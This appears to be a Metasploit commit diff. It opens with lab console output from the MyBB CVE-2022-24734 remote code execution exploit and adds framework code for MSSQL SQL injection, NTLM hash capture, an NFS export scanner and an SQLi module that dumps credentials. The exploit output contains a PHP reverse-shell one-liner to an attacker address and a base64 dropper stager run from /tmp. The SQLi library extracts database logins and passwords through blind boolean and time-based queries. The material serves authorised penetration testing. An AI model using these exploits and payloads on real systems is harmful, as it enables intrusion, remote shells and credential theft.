OS : Windows NT DC02 10.0 build 17763 (Windows Server 2019) AMD64
Meterpreter : php/windows
```
### Linux (target 0 - PHP)
```
msf6 exploit(multi/http/mybb_rce_cve_2022_24734) > run Verbose=true LHOST=192.168.0.48 RHOSTS=127.0.0.1 RPORT=8080 USERNAME=msfuser PASSWORD=123456
[*] Started reverse TCP handler on 192.168.0.48:4444
[*] Running automatic check ("set AutoCheck false" to disable)
[+] MyBB forum found running at /
[!] The service is running, but could not be validated.
[*] Attempting login
[+] Login successful!
[*] Adding a malicious settings
[*] Adding a crafted configuration setting entry with the payload
[+] Payload successfully sent
[*] Triggering the payload execution
[*] Sending stage (39860 bytes) to 192.168.0.48
[*] Meterpreter session 2 opened (192.168.0.48:4444 -> 192.168.0.48:50029) at 2022-05-23 15:41:58 +0200
[*] Removing the configuration setting
[*] Grab the delete parameters
[*] Send the delete request
[*] Shell incoming...
meterpreter > sysinfo
Computer : e087259940a8
OS : Linux e087259940a8 5.10.76-linuxkit #1 SMP Mon Nov 8 10:21:19 UTC 2021 x86_64
Meterpreter : php/linux
```
### Linux (target 1 - Unix (In-Memory))
```
msf6 exploit(multi/http/mybb_rce_cve_2022_24734) > set target 1
target => 1
msf6 exploit(multi/http/mybb_rce_cve_2022_24734) > run Verbose=true LHOST=192.168.0.48 RHOSTS=127.0.0.1 RPORT=8080 USERNAME=msfuser PASSWORD=123456
[+] php -r '$ctxt=stream_context_create(["ssl"=>["verify_peer"=>false,"verify_peer_name"=>false]]);while($s=@stream_socket_client("ssl://192.168.0.48:4444",$erno,$erstr,30,STREAM_CLIENT_CONNECT,$ctxt)){while($l=fgets($s)){exec($l,$o);$o=implode("\n",$o);$o.="\n";fputs($s,$o);}}'&
[*] Started reverse SSL handler on 192.168.0.48:4444
[*] Running automatic check ("set AutoCheck false" to disable)
[+] MyBB forum found running at /
[!] The service is running, but could not be validated.
[*] Attempting login
[+] Login successful!
[*] Adding a malicious settings
[*] Adding a crafted configuration setting entry with the payload
[+] Payload successfully sent
[*] Triggering the payload execution
[*] Removing the configuration setting
[*] Grab the delete parameters
[*] Send the delete request
[*] Shell incoming...
[*] Command shell session 3 opened (192.168.0.48:4444 -> 192.168.0.48:50151) at 2022-05-23 15:42:58 +0200
ls
backups
inc
index.php
jscripts
modules
styles
^C
Abort session 3? [y/N] y
```
### Linux (target 2 - linux (Dropper))
```
msf6 exploit(multi/http/mybb_rce_cve_2022_24734) > run Verbose=true LHOST=192.168.0.48 RHOSTS=127.0.0.1 RPORT=8080 USERNAME=msfuser PASSWORD=123456
[*] Started reverse TCP handler on 192.168.0.48:4444
[*] Running automatic check ("set AutoCheck false" to disable)
[+] MyBB forum found running at /
[!] The service is running, but could not be validated.
[*] Attempting login
[+] Login successful!
[*] Adding a malicious settings
[*] Generated command stager: ["echo -n f0VMRgEBAQAAAAAAAAAAAAIAAwABAAAAVIAECDQAAAAAAAAAAAAAADQAIAABAAAAAAAAAAEAAAAAAAAAAIAECACABAjPAAAASgEAAAcAAAAAEAAAagpeMdv341NDU2oCsGaJ4c2Al1towKgBE2gCABFcieFqZlhQUVeJ4UPNgIXAeRlOdD1oogAAAFhqAGoFieMxyc2AhcB5vesnsge5ABAAAInjwesMweMMsH3NgIXAeBBbieGZsmqwA82AhcB4Av/huAEAAAC7AQAAAM2A>>'/tmp/UAznK.b64' ; ((which base64 >&2 && base64 -d -) || (which base64 >&2 && base64 --decode -) || (which openssl >&2 && openssl enc -d -A -base64 -in /dev/stdin) || (which python >&2 && python -c 'import sys, base64; print base64.standard_b64decode(sys.stdin.read());') || (which perl >&2 && perl -MMIME::Base64 -ne 'print decode_base64($_)')) 2> /dev/null > '/tmp/jHFeb' < '/tmp/UAznK.b64' ; chmod +x '/tmp/jHFeb' ; '/tmp/jHFeb' ; rm -f '/tmp/jHFeb' ; rm -f '/tmp/UAznK.b64'"]
[*] Adding a crafted configuration setting entry with the payload
[+] Payload successfully sent
[*] Triggering the payload execution
[*] Transmitting intermediate stager...(106 bytes)
[*] Sending stage (989032 bytes) to 192.168.0.48
[*] Meterpreter session 4 opened (192.168.0.48:4444 -> 192.168.0.48:50213) at 2022-05-23 15:43:26 +0200
[*] Removing the configuration setting
[*] Grab the delete parameters
[*] Send the delete request
[*] Shell incoming...
[*] Command Stager progress - 100.00% done (763/763 bytes)
meterpreter > sysinfo
Computer : 172.18.0.4
OS : (Linux 5.10.76-linuxkit)
Architecture : x64
BuildTuple : i486-linux-musl
Meterpreter : x86/linux
```
### Windows (target 3 - Windows (In-Memory))
```
msf6 exploit(multi/http/mybb_rce_cve_2022_24734) > set target 4
target => 4
msf6 exploit(multi/http/mybb_rce_cve_2022_24734) > run Verbose=true LHOST=192.168.1.44 RHOSTS=192.168.1.215 USERNAME=msfuser PASSWORD=123456
[*] Powershell command length: 4160
[*] Started reverse TCP handler on 192.168.1.44:4444
[*] Running automatic check ("set AutoCheck false" to disable)
[+] MyBB forum found running at /
[!] The service is running, but could not be validated.
[*] Attempting login
[+] Login successful!
[*] Adding a malicious settings
[*] Adding a crafted configuration setting entry with the payload
[+] Payload successfully sent
[*] Triggering the payload execution
[*] Removing the configuration setting
[*] Grab the delete parameters
[*] Send the delete request
[*] Shell incoming...
[*] Sending stage (175174 bytes) to 192.168.1.215
[*] Meterpreter session 6 opened (192.168.1.44:4444 -> 192.168.1.215:59025) at 2022-05-30 15:58:01 +0200
meterpreter > sysinfo
Computer : DC02
OS : Windows 2016+ (10.0 Build 17763).
Architecture : x64
System Language : en_US
Domain : MYLAB
Logged On Users : 8
Meterpreter : x86/windows
```
### Windows (target 4 - Windows (Dropper))
```
msf6 exploit(multi/http/mybb_rce_cve_2022_24734) > set target 5
target => 5
msf6 exploit(multi/http/mybb_rce_cve_2022_24734) > run Verbose=true LHOST=192.168.1.44 RHOSTS=192.168.1.215 USERNAME=msfuser PASSWORD=123456
[*] Started reverse TCP handler on 192.168.1.44:4444
[*] Running automatic check ("set AutoCheck false" to disable)
[+] MyBB forum found running at /
[!] The service is running, but could not be validated.
[*] Attempting login
[+] Login successful!
[*] Adding a malicious settings
[*] Generated command stager: ["echo TVqQAAMAAAAEAAAA//8AALgAAAAAAAAAQAAAAAAAAAAA...
[*] Adding a crafted configuration setting entry with the payload
[+] Payload successfully sent
[*] Triggering the payload execution
[*] Removing the configuration setting
[*] Grab the delete parameters
[*] Send the delete request
[*] Shell incoming...
[*] Command Stager progress - 2.01% done (2046/101881 bytes)
...
[*] Command Stager progress - 98.40% done (100252/101881 bytes)
[*] Adding a crafted configuration setting entry with the payload
[+] Payload successfully sent
[*] Triggering the payload execution
[*] Sending stage (175174 bytes) to 192.168.1.215
[*] Removing the configuration setting
[*] Grab the delete parameters
[*] Send the delete request
[*] Shell incoming...
[*] Command Stager progress - 100.00% done (101881/101881 bytes)
[*] Meterpreter session 7 opened (192.168.1.44:4444 -> 192.168.1.215:64264) at 2022-05-23 15:45:07 +0200
meterpreter > sysinfo
Computer : DC02
OS : Windows 2016+ (10.0 Build 17763).
Architecture : x64
System Language : en_US
Domain : MYLAB
Logged On Users : 8
Meterpreter : x86/windows
```
+1 -1
View File
@@ -30,7 +30,7 @@ module Metasploit
end
end
VERSION = "6.2.0"
VERSION = "6.2.1"
MAJOR, MINOR, PATCH = VERSION.split('.').map { |x| x.to_i }
PRERELEASE = 'dev'
HASH = get_hash
+46
View File
@@ -0,0 +1,46 @@
# -*- coding: binary -*-
module Msf
###
#
# This module provides methods for working with NFS
#
###
module Auxiliary::Nfs
include Auxiliary::Scanner
def initialize(info = {})
super
register_options(
[
OptAddressLocal.new('LHOST', [false, 'IP to match shares against', Rex::Socket.source_address]),
OptString.new('HOSTNAME', [false, 'Hostname to match shares against', ''])
]
)
end
def can_mount?(locations, mountable = true, hostname = '', lhost = '')
# attempts to validate if we'll be able to open it or not based on:
# 1. its a wildcard, thus we can open it
# 2. hostname isn't blank and its in the list
# 3. our IP is explicitly listed
# 4. theres a CIDR notation that we're included in.
return true unless mountable
return true if locations.include? '*'
return true if !hostname.blank? && locations.include?(hostname)
return true if !lhost.empty? && locations.include?(lhost)
locations.each do |location|
# if it has a subnet mask, convert it to cidr
if %r{(\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3}/)(\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3})} =~ location
location = "#{Regexp.last_match(1)}#{Rex::Socket.addr_atoc(Regexp.last_match(2))}"
end
return true if Rex::Socket::RangeWalker.new(location).include?(lhost)
# at this point we assume its a hostname, so we use Ruby's File fnmatch so that it proceses the wildcards
# as its a quick and easy way to use glob matching for wildcards and get a boolean response
return true if File.fnmatch(location, hostname)
end
false
end
end
end
@@ -38,18 +38,20 @@ module Msf::Exploit::Remote::SMB::Server::HashCapture
combined_hash = "#{user}::#{domain}"
case ntlm_message.ntlm_version
when :ntlmv1
when :ntlmv1, :ntlm2_session
hash_type = 'NTLMv1-SSP'
client_hash = "#{bin_to_hex(ntlm_message.lm_response)}:#{bin_to_hex(ntlm_message.ntlm_response)}"
combined_hash << ":#{client_hash}"
combined_hash << ":#{bin_to_hex(challenge)}"
jtr_format = JTR_NTLMV1
when :ntlmv2
hash_type = 'NTLMv2-SSP'
client_hash = "#{bin_to_hex(ntlm_message.ntlm_response[0...16])}:#{bin_to_hex(ntlm_message.ntlm_response[16..-1])}"
combined_hash << ":#{bin_to_hex(challenge)}"
combined_hash << ":#{client_hash}"
jtr_format = JTR_NTLMV2
end
return if hash_type.nil?
@@ -62,8 +64,6 @@ module Msf::Exploit::Remote::SMB::Server::HashCapture
print_line "[SMB] #{hash_type} Hash : #{combined_hash}"
print_line
jtr_format = ntlm_message.ntlm_version == :ntlmv1 ? JTR_NTLMV1 : JTR_NTLMV2
if active_db?
origin = create_credential_origin_service(
{
+2
View File
@@ -0,0 +1,2 @@
module Msf::Exploit::SQLi::Mssqli
end
@@ -0,0 +1,16 @@
#
# Boolean-Based Blind SQL injection support for MySQL
#
class Msf::Exploit::SQLi::Mssqli::BooleanBasedBlind < Msf::Exploit::SQLi::Mssqli::Common
include Msf::Exploit::SQLi::BooleanBasedBlindMixin
#
# This method checks if the target is vulnerable to Blind boolean-based injection by checking that
# the values returned by the bloc for some boolean queries are correct.
#
def test_vulnerable
out_true = blind_request('1=1')
out_false = blind_request('1=2')
out_true && !out_false
end
end
+292
View File
@@ -0,0 +1,292 @@
# coding: ascii-8bit
require 'base64'
#
# This class represents a Microsoft SQL Server Injection object, its primary purpose is to provide the common queries
# needed when performing SQL injection.
# Instantiate it only if you get the query results of your SQL injection returned on the response.
#
module Msf::Exploit::SQLi::Mssqli
class Common < Msf::Exploit::SQLi::Common
#
# Encoders supported by Microsoft SQL Server
# Keys are MSSQL function names, values are decoding procs in Ruby
#
ENCODERS = {
hex: {
encode: 'master.dbo.fn_varbintohexstr(CAST(^DATA^ as varbinary(max)))',
decode: proc { |data| Rex::Text.hex_to_raw(data.start_with?('0x') ? data[2..-1] : data) }
}
}.freeze
#
# See SQLi::Common#initialize
#
def initialize(datastore, framework, user_output, opts = {}, &query_proc)
opts[:concat_separator] ||= ','
if opts[:encoder].is_a?(String) || opts[:encoder].is_a?(Symbol)
# if it's a String or a Symbol, use a predefined encoder if it exists
opts[:encoder] = opts[:encoder].downcase.intern
opts[:encoder] = ENCODERS[opts[:encoder]] if ENCODERS[opts[:encoder]]
end
super
end
#
# Query the Microsoft SQL Server version
# @return [String] The Microsoft SQL Server version in use
#
def version
call_function('@@VERSION')
end
#
# Query the current database name
# @return [String] The name of the current database
#
def current_database
call_function('DB_NAME()')
end
#
# Query the hostname
# @return [String] The hostname of the server running Microsoft SQL Server
#
def hostname
call_function('@@SERVERNAME')
end
# Query the current user
# @return [String] The username of the current user
#
def current_user
call_function('user_name()')
end
#
# Query the names of all the existing databases
# @return [Array] An array of Strings, the database names
#
def enum_database_names
dump_table_fields('master..sysdatabases', %w[name]).flatten
end
#
# Query the names of the tables in a given database
# @param database [String] the name of a database, or nil or an empty string for the current database
# @return [Array] An array of Strings, the table names in the given database
#
def enum_table_names(database = '')
sysobjects_tbl = "#{database.nil? || database.empty? ? '' : database + '..'}sysobjects"
dump_table_fields(sysobjects_tbl, %w[name], "xtype='U'").flatten
end
def enum_view_names(database = '')
sysobjects_tbl = "#{database.nil? || database.empty? ? '' : database + '..'}sysobjects"
dump_table_fields(sysobjects_tbl, %w[name], "xtype='V'").flatten
end
#
# Query the mssql users (their username and password), this might require root privileges.
# @return [Array] an array of arrays representing rows, where each row contains two strings, the username and password
#
def enum_dbms_users
# might require root privileges
dump_table_fields('master..syslogins', %w[name password])
end
#
# Query the column names of the given table in the given database
# @param table_name [String] the name of the table of which you want to query the column names, can be: database.table
# @return [Array] An array of Strings, the column names in the given table belonging to the given database
#
def enum_table_columns(table_name)
table_schema_condition = ''
if table_name.include?('.')
database, table_name = table_name.split(/\.{1,2}/)
database += '..'
else
database = ''
end
dump_table_fields("#{database}syscolumns", %w[name],
"id=(select id from #{database}sysobjects where name='#{table_name}')").flatten
end
#
# Query the given columns of the records of the given table, that satisfy an optional condition
# @param table [String] The name of the table to query
# @param columns [Array] The names of the columns to query
# @param condition [String] An optional condition, return only the rows satisfying it
# @param num_limit [Integer] An optional maximum number of results to return
# @return [Array] An array, where each element is an array of strings representing a row of the results
#
def dump_table_fields(table, columns, condition = '', num_limit = 0)
return '' if columns.empty?
columns = columns.map do |col|
col = "cast(isnull(#{col},'#{@null_replacement}') as varchar(max))"
@encoder ? @encoder[:encode].sub(/\^DATA\^/, col) : col
end.join("+'#{@second_concat_separator}'+")
unless condition.empty?
condition = ' where ' + condition
end
num_limit = num_limit.to_i
limit = num_limit > 0 ? " top #{num_limit}" : ''
retrieved_data = nil
identifier_generator = Rex::RandomIdentifier::Generator.new
if @safe
# no group_concat, leak one row at a time
count_item = 'cast(count(1) as varchar(max))'
count_item = @encoder ? @encoder[:encode].sub(/\^DATA\^/, count_item) : count_item
row_count = run_sql("select #{count_item} from #{table}#{condition}")
row_count = @encoder ? @encoder[:decode].call(row_count).to_i : row_count.to_i
num_limit = row_count if num_limit == 0 || row_count < num_limit
# generate a random alias for every column name
item_alias, row_alias, tab_alias = 3.times.map { identifier_generator.generate }
retrieved_data = num_limit.times.map do |current_row|
if @truncation_length
truncated_query("select top(1) substring(#{item_alias},^OFFSET^,#{@truncation_length}) from (select #{columns} #{item_alias},ROW_NUMBER() over (order by (select 1)) #{row_alias} from #{table}#{condition}) #{tab_alias} where #{row_alias}=#{current_row + 1}")
else
run_sql("select top(1) #{item_alias} from (select #{columns} #{item_alias},ROW_NUMBER() over (order by (select 1)) #{row_alias} from #{table}#{condition}) #{tab_alias} where #{row_alias}=#{current_row + 1}")
end
end
elsif num_limit > 0
# if limit > 0, an alias will be necessary
alias1, alias2 = 2.times.map { identifier_generator.generate }
if @truncation_length
retrieved_data = truncated_query("select substring(string_agg(#{alias1}, '#{@concat_separator}')," \
"^OFFSET^,#{@truncation_length}) from (select #{limit}#{columns} #{alias1} from #{table}"\
"#{condition}) #{alias2}").split(@concat_separator || ',')
else
retrieved_data = run_sql("select string_agg(#{alias1},'#{@concat_separator}')"\
" from (select #{limit}#{columns} #{alias1} from #{table}#{condition}) #{alias2}").split(@concat_separator || ',')
end
elsif @truncation_length
retrieved_data = truncated_query("select #{limit}substring(string_agg(#{columns},'#{@concat_separator}')," \
"^OFFSET^,#{@truncation_length}) from #{table}#{condition}").split(@concat_separator || ',')
else
retrieved_data = run_sql("select #{limit}string_agg(#{columns},'#{@concat_separator}')" \
" from #{table}#{condition}").split(@concat_separator || ',')
end
retrieved_data.map do |row|
row = row.split(@second_concat_separator)
@encoder ? row.map { |x| @encoder[:decode].call(x) } : row
end
end
#
# Checks if the target is vulnerable (if the SQL injection is working fine), by checking that
# queries that should return known results return the results we expect from them
#
def test_vulnerable
random_string_len = @truncation_length ? [rand(2..10), @truncation_length].min : rand(2..10)
random_string = Rex::Text.rand_text_alphanumeric(random_string_len)
run_sql("select '#{random_string}'") == random_string
end
#
# Attempt writing data to the file at the given path
#
def write_to_file(fpath, data)
run_sql("select '#{data}' into dumpfile '#{fpath}'")
end
private
#
# Helper method used in cases where the response is truncated.
# @param query [String] The SQL query to execute, where ^OFFSET^ will be replaced with an integer offset for querying
# @return [String] The query result
#
def truncated_query(query)
result = [ ]
offset = 1
loop do
slice = run_sql(query.sub(/\^OFFSET\^/, offset.to_s))
offset += @truncation_length # should be same as @truncation_length for most cases
result << slice
vprint_status "{SQLi} Truncated output: #{slice} of size #{slice.size}"
print_warning "The block returned a string larger than the truncation size : #{slice}" if slice.length > @truncation_length
break if slice.length < @truncation_length
end
result.join
end
#
# Checks the options specific to Microsoft SQL Server (if any)
#
def check_opts(opts)
unless opts[:encoder].nil? || opts[:encoder].is_a?(Hash) || ENCODERS[opts[:encoder].downcase.intern]
raise ArgumentError, 'Unsupported encoder'
end
super
end
def call_function(function)
function = @encoder[:encode].sub(/\^DATA\^/, function) if @encoder
output = nil
if @truncation_length
output = truncated_query("select substring(#{function},^OFFSET^,#{@truncation_length})")
else
output = run_sql("select #{function}")
end
output = @encoder[:decode].call(output) if @encoder
output
end
def blind_detect_length(query, timebased)
if_function = ''
sleep_part = ''
if timebased
if_function = 'if(' + if_function
sleep_part += ") waitfor delay '0:0:#{datastore['SqliDelay'].to_i}'"
end
i = 0
output_length = 0
loop do
output_bit = blind_request("#{if_function}cast(datalength(cast((#{query}) as varchar(max))) as bigint)&cast(#{1 << i} as bigint)=0#{sleep_part}")
output_length |= (1 << i) unless output_bit
i += 1
stop = blind_request("#{if_function}cast(datalength(cast((#{query}) as varchar(max))) as bigint)/cast(#{1 << i} as bigint)=0#{sleep_part}")
break if stop
end
output_length
end
def blind_dump_data(query, length, known_bits, bits_to_guess, timebased)
if_function = ''
sleep_part = ''
if timebased
if_function = 'if(' + if_function
sleep_part += ") waitfor delay '0:0:#{datastore['SqliDelay'].to_i}'"
end
output = length.times.map do |j|
current_character = known_bits
bits_to_guess.times do |k|
# the query below: the inner substr returns a character from the result, the outer returns a bit of it
output_bit = blind_request("#{if_function}ascii(substring(cast((#{query}) as varchar(max)), #{j + 1}, 1))&#{1 << k}=0#{sleep_part}")
current_character |= (1 << k) unless output_bit
end
current_character.chr
end.join
output
end
#
# Encodes strings in the query string as hexadecimal numbers
#
def hex_encode_strings(query)
# for more encoding capabilities, run code at the beginning of your block
query.gsub(/'.*?'|".*?"/) do |match|
str = match[1..-2]
if str.empty?
"left(char(#{rand(0..255)}),0)"
else
str.each_codepoint.map { |code| "char(#{code})" }.join('+')
end
end
end
end
end
@@ -0,0 +1,17 @@
#
# Time-Based Blind SQL injection support for MySQL
#
class Msf::Exploit::SQLi::Mssqli::TimeBasedBlind < Msf::Exploit::SQLi::Mssqli::Common
include ::Msf::Exploit::SQLi::TimeBasedBlindMixin
#
# This method checks if the target is vulnerable to Blind time-based injection by checking if
# the target sleeps only when a given condition is true.
#
def test_vulnerable
# run_sql and check if output is what's expected, or just check for delays?
out_true = blind_request("if(1=1) waitfor delay '0:0:#{datastore['SqliDelay'].to_i}'")
out_false = blind_request("if(1=2) waitfor delay '0:0:#{datastore['SqliDelay'].to_i}'")
out_true && !out_false
end
end
+17
View File
@@ -4,6 +4,22 @@ require 'rex/socket'
# Monkeypatch upstream library, for now
# TODO: write a real LDAP client in Rex and migrate all consumers
class Net::LDAP::Connection # :nodoc:
module SynchronousRead
def read(length = nil, opts = {})
data = ''
loop do
chunk = super(length - data.length)
if chunk.nil?
return data == '' ? nil : data
end
data << chunk
break if data.length == length
end
data
end
end
def initialize(server)
begin
@@ -12,6 +28,7 @@ class Net::LDAP::Connection # :nodoc:
'PeerPort' => server[:port],
'Proxies' => server[:proxies]
)
@conn.extend(SynchronousRead)
rescue SocketError
raise Net::LDAP::LdapError, 'No such address or other socket error.'
rescue Errno::ECONNREFUSED
@@ -8,6 +8,7 @@ class MetasploitModule < Msf::Auxiliary
prepend Msf::Exploit::Remote::AutoCheck
include Msf::Exploit::Remote::HttpClient
include Msf::Auxiliary::Report
include Msf::Exploit::SQLi
def initialize(info = {})
super(
@@ -75,13 +76,8 @@ class MetasploitModule < Msf::Auxiliary
Rex::Text.rand_text_alpha(len)
end
def char_list(string)
('char(' + string.split('').map(&:ord).join(')+char(') + ')').to_s
end
def error_info(body)
/BQEShowModalAlert\('Information','(?<error>[^']+)/ =~ body
error
body[/BQEShowModalAlert\('Information','([^']+)/, 1]
end
def inject(content, state, generator, validation)
@@ -127,9 +123,6 @@ class MetasploitModule < Msf::Auxiliary
header = rand_chars
footer = rand_chars
header_char = char_list(header)
footer_char = char_list(footer)
int = Rex::Text.rand_text_numeric(4)
service = {
address: rhost,
@@ -140,24 +133,25 @@ class MetasploitModule < Msf::Auxiliary
}
report_service(service)
# all inject strings taken from sqlmap runs, using error page method
res = inject("'+(SELECT #{char_list(rand_chars)} WHERE #{int}=#{int} AND CHARINDEX(CHAR(49)+CHAR(53)+CHAR(46)+CHAR(48)+CHAR(46),@@VERSION)>0)+'", viewstate, viewstategenerator, eventvalidation)
/, table \\u0027(?<table>.+?)\\u0027/ =~ error_info(res)
print_good("Current Database: #{table.split('.').first}")
report_note(host: rhost, port: rport, type: 'database', data: table.split('.').first)
sqli = create_sqli(dbms: Msf::Exploit::SQLi::Mssqli::Common, opts: { safe: true, encoder: { encode: "'#{header}'+^DATA^+'#{footer}'", decode: ->(x) { x[/#{header}(.+?)#{footer}/mi, 1] } } }) do |payload|
int = Rex::Text.rand_text_numeric(4)
res = inject("'+(select '' where #{int} in (#{payload}))+'", viewstate, viewstategenerator, eventvalidation)
err_info = error_info(res)
print_error('Unexpected output from the server') if err_info.nil?
err_info[/\\u0027(.+?)\\u0027/m, 1]
end
res = inject("'+(SELECT #{char_list(rand_chars)} WHERE #{int}=#{int} AND 1325 IN (SELECT (#{header_char}+(SELECT SUBSTRING((ISNULL(CAST(@@VERSION AS NVARCHAR(4000)),CHAR(32))),1,1024))+#{footer_char})))+'", viewstate, viewstategenerator, eventvalidation)
/\\u0027(?<banner>.+?)\\u0027/ =~ error_info(res)
banner.slice!(header)
banner.slice!(footer)
banner = banner.gsub('\n', "\n").gsub('\t', "\t")
# all inject strings taken from sqlmap runs, using error page method
database = sqli.current_database
print_good("Current Database: #{database}")
report_note(host: rhost, port: rport, type: 'database', data: database)
banner = sqli.version.gsub('\n', "\n").gsub('\t', "\t")
print_good("Banner: #{banner}")
res = inject("'+(SELECT #{char_list(rand_chars)} WHERE #{int}=#{int} AND 8603 IN (SELECT (#{header_char}+(SELECT SUBSTRING((ISNULL(CAST(SYSTEM_USER AS NVARCHAR(4000)),CHAR(32))),1,1024))+#{footer_char})))+'", viewstate, viewstategenerator, eventvalidation)
/\\u0027(?<user>.+?)\\u0027/ =~ error_info(res)
user.slice!(header)
user.slice!(footer)
user = sqli.current_user
print_good("DB User: #{user}")
credential_data = {
origin_type: :service,
module_fullname: fullname,
@@ -167,25 +161,15 @@ class MetasploitModule < Msf::Auxiliary
}.merge(service)
create_credential(credential_data)
res = inject("'+(SELECT #{char_list(rand_chars)} WHERE #{int}=#{int} AND 7555 IN (SELECT (#{header_char}+(SUBSTRING((ISNULL(CAST(@@SERVERNAME AS NVARCHAR(4000)),CHAR(32))),1,1024))+#{footer_char})))+'", viewstate, viewstategenerator, eventvalidation)
/\\u0027(?<hostname>.+?)\\u0027/ =~ error_info(res)
hostname.slice!(header)
hostname.slice!(footer)
hostname = sqli.hostname
print_good("Hostname: #{hostname}")
report_host(host: rhost, name: hostname, info: banner.gsub('\n', "\n").gsub('\n', "\n"), os_name: OperatingSystems::WINDOWS)
report_host(host: rhost, name: hostname, info: banner, os_name: OperatingSystems::WINDOWS)
sec_table = "#{table.split('.')[0...-1].join('.')}.SecurityTable"
# get user count from SecurityTable
res = inject("'+(SELECT #{char_list(rand_chars)} WHERE #{int}=#{int} AND 8815 IN (SELECT (#{header_char}+(SELECT ISNULL(CAST(COUNT(*) AS NVARCHAR(4000)),CHAR(32)) FROM #{sec_table} WHERE ModuleID=0)+#{footer_char})))+'", viewstate, viewstategenerator, eventvalidation)
/\\u0027(?<user_count>.+?)\\u0027/ =~ error_info(res)
user_count.slice!(header)
user_count.slice!(footer)
print_good("User Count in #{sec_table}: #{user_count}")
sec_table = sqli.dump_table_fields("#{database}.dbo.SecurityTable", %w[EmployeeID Settings], 'ModuleID=0')
table = Rex::Text::Table.new(
'Header' => sec_table,
'Header' => "#{database}.dbo.SecurityTable",
'Indent' => 1,
'SortIndex' => -1,
'Columns' =>
@@ -195,22 +179,7 @@ class MetasploitModule < Msf::Auxiliary
]
)
(1..user_count.to_i).each do |index|
# username
# select EmployeeID from test.dbo.SecurityTable where ModuleID=0
res = inject("'+(SELECT #{char_list(rand_chars)} WHERE #{int}=#{int} AND 2292 IN (SELECT (#{header_char}+(SELECT TOP 1 SUBSTRING((ISNULL(CAST(EmployeeID AS NVARCHAR(4000)),CHAR(32))),1,1024) FROM #{sec_table} WHERE ModuleID=0 AND ISNULL(CAST(EmployeeID AS NVARCHAR(4000)),CHAR(32)) NOT IN (SELECT TOP #{index - 1} ISNULL(CAST(EmployeeID AS NVARCHAR(4000)),CHAR(32)) FROM #{sec_table} WHERE ModuleID=0 ORDER BY EmployeeID) ORDER BY EmployeeID)+#{footer_char})))+'", viewstate, viewstategenerator, eventvalidation)
/\\u0027(?<username>.+?)\\u0027/ =~ error_info(res)
username.slice!(header)
username.slice!(footer)
print_good("Username: #{username}")
# settings
# select Settings from test.dbo.SecurityTable where ModuleID=0
res = inject("'+(SELECT #{char_list(rand_chars)} WHERE #{int}=#{int} AND 7411 IN (SELECT (#{header_char}+(SELECT TOP 1 SUBSTRING((ISNULL(CAST(Settings AS NVARCHAR(4000)),CHAR(32))),1,1024) FROM #{sec_table} WHERE ModuleID=0 AND ISNULL(CAST(EmployeeID AS NVARCHAR(4000)),CHAR(32)) NOT IN (SELECT TOP #{index - 1} ISNULL(CAST(EmployeeID AS NVARCHAR(4000)),CHAR(32)) FROM #{sec_table} WHERE ModuleID=0 ORDER BY EmployeeID) ORDER BY EmployeeID)+#{footer_char})))+'", viewstate, viewstategenerator, eventvalidation)
/\\u0027(?<settings>.+?)\\u0027/ =~ error_info(res)
settings.slice!(header)
settings.slice!(footer)
print_good("User #{username} settings: #{settings}")
sec_table.each do |(username, settings)|
table << [username, settings]
credential_data = {
origin_type: :service,
+54 -49
View File
@@ -7,19 +7,19 @@ class MetasploitModule < Msf::Auxiliary
include Msf::Exploit::Remote::SunRPC
include Msf::Auxiliary::Report
include Msf::Auxiliary::Scanner
include Msf::Auxiliary::Nfs
def initialize
super(
'Name' => 'NFS Mount Scanner',
'Description' => %q{
'Name' => 'NFS Mount Scanner',
'Description' => %q{
This module scans NFS mounts and their permissions.
},
'Author' => ['<tebo[at]attackresearch.com>'],
'References' =>
[
['CVE', '1999-0170'],
['URL', 'https://www.ietf.org/rfc/rfc1094.txt']
],
'Author' => ['<tebo[at]attackresearch.com>'],
'References' => [
['CVE', '1999-0170'],
['URL', 'https://www.ietf.org/rfc/rfc1094.txt']
],
'License' => MSF_LICENSE
)
@@ -27,57 +27,62 @@ class MetasploitModule < Msf::Auxiliary
OptEnum.new('PROTOCOL', [ true, 'The protocol to use', 'udp', ['udp', 'tcp']])
])
register_advanced_options(
[
OptBool.new('Mountable', [false, 'Determine if an export is mountable', true]),
]
)
end
def run_host(ip)
program = 100005
progver = 1
procedure = 5
begin
program = 100005
progver = 1
procedure = 5
sunrpc_create(datastore['PROTOCOL'], program, progver)
sunrpc_authnull
resp = sunrpc_call(procedure, '')
sunrpc_create(datastore['PROTOCOL'], program, progver)
sunrpc_authnull()
resp = sunrpc_call(procedure, "")
# XXX: Assume that transport is udp and port is 2049
# Technically we are talking to mountd not nfsd
# XXX: Assume that transport is udp and port is 2049
# Technically we are talking to mountd not nfsd
report_service(
host: ip,
proto: datastore['PROTOCOL'],
port: 2049,
name: 'nfsd',
info: "NFS Daemon #{program} v#{progver}"
)
report_service(
:host => ip,
:proto => datastore['PROTOCOL'],
:port => 2049,
:name => 'nfsd',
:info => "NFS Daemon #{program} v#{progver}"
)
exports = resp[3, 1].unpack('C')[0]
if (exports == 0x01)
shares = []
while Rex::Encoder::XDR.decode_int!(resp) == 1
dir = Rex::Encoder::XDR.decode_string!(resp)
grp = []
grp << Rex::Encoder::XDR.decode_string!(resp) while Rex::Encoder::XDR.decode_int!(resp) == 1
exports = resp[3,1].unpack('C')[0]
if (exports == 0x01)
shares = []
while Rex::Encoder::XDR.decode_int!(resp) == 1 do
dir = Rex::Encoder::XDR.decode_string!(resp)
grp = []
while Rex::Encoder::XDR.decode_int!(resp) == 1 do
grp << Rex::Encoder::XDR.decode_string!(resp)
end
print_good("#{ip} NFS Export: #{dir} [#{grp.join(", ")}]")
shares << [dir, grp]
if can_mount?(grp, datastore['Mountable'], datastore['HOSTNAME'], datastore['LHOST'] || '')
print_good("#{ip} Mountable NFS Export: #{dir} [#{grp.join(', ')}]")
else
print_status("#{ip} NFS Export: #{dir} [#{grp.join(', ')}]")
end
report_note(
:host => ip,
:proto => datastore['PROTOCOL'],
:port => 2049,
:type => 'nfs.exports',
:data => { :exports => shares },
:update => :unique_data
)
elsif(exports == 0x00)
vprint_status("#{ip} - No exported directories")
shares << [dir, grp]
end
sunrpc_destroy
rescue ::Rex::Proto::SunRPC::RPCTimeout, ::Rex::Proto::SunRPC::RPCError => e
vprint_error(e.to_s)
report_note(
host: ip,
proto: datastore['PROTOCOL'],
port: 2049,
type: 'nfs.exports',
data: { exports: shares },
update: :unique_data
)
elsif (exports == 0x00)
vprint_status("#{ip} - No exported directories")
end
sunrpc_destroy
